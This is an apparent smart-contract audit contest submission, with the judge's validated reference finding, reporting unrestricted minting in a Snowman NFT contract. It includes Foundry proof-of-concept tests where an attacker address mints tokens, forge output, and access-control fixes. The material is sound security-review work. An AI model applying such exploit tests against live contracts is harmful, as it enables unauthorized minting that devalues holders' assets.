Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Unrestricted Snowman mint allows arbitrary NFT inflation

Root + Impact

Description

  • Expected behavior: Snowman NFTs are minted only through the airdrop/staking flow for eligible Snow holders.

  • Actual behavior: mintSnowman is external and has no access control, so any address can mint arbitrary amounts.

function mintSnowman(address receiver, uint256 amount) external {
@ // No access control: any caller can mint unlimited NFTs
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Any EOA can call mintSnowman at any time; there are no role checks.

  • The mint path is a single external call with no required setup.

Impact:

  • Unlimited NFT inflation breaks scarcity and distribution guarantees.

  • The airdrop can be bypassed entirely, undermining the protocol intent.

Proof of Concept

Foundry test

  • Path: audit/poc/F-001_UnauthorizedMint.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snowman} from "src/Snowman.sol";
contract UnauthorizedMintTest is Test {
// Protocol contract under test.
Snowman private snowman;
// Roles.
address private deployer;
address private attacker;
address private otherAttacker;
function setUp() public {
deployer = makeAddr("deployer"); // assign deployer role
attacker = makeAddr("attacker"); // assign attacker role
otherAttacker = makeAddr("otherAttacker"); // assign second attacker role
vm.prank(deployer); // impersonate deployer for deployment
snowman = new Snowman("data:image/svg+xml;base64,AAA"); // deploy Snowman
}
function test_AttackerCanMintSnowman() public {
vm.prank(attacker); // impersonate attacker
snowman.mintSnowman(attacker, 3); // mint without authorization
assertEq(snowman.balanceOf(attacker), 3); // confirm unauthorized mint count
assertEq(snowman.ownerOf(0), attacker); // confirm ownership of first token
assertEq(snowman.ownerOf(2), attacker); // confirm ownership of last token
}
function test_OtherAddressCanAlsoMintSnowman() public {
vm.prank(otherAttacker); // impersonate second attacker
snowman.mintSnowman(otherAttacker, 2); // mint without authorization
assertEq(snowman.balanceOf(otherAttacker), 2); // confirm unauthorized mint count
assertEq(snowman.ownerOf(0), otherAttacker); // confirm ownership of first token
assertEq(snowman.ownerOf(1), otherAttacker); // confirm ownership of second token
}
}

Recommended Mitigation

function mintSnowman(address receiver, uint256 amount) external {
- for (uint256 i = 0; i < amount; i++) {
+ // allow only a trusted minter (e.g., airdrop contract or owner)
+ if (msg.sender != allowedMinter) revert SM__NotAllowed();
+ for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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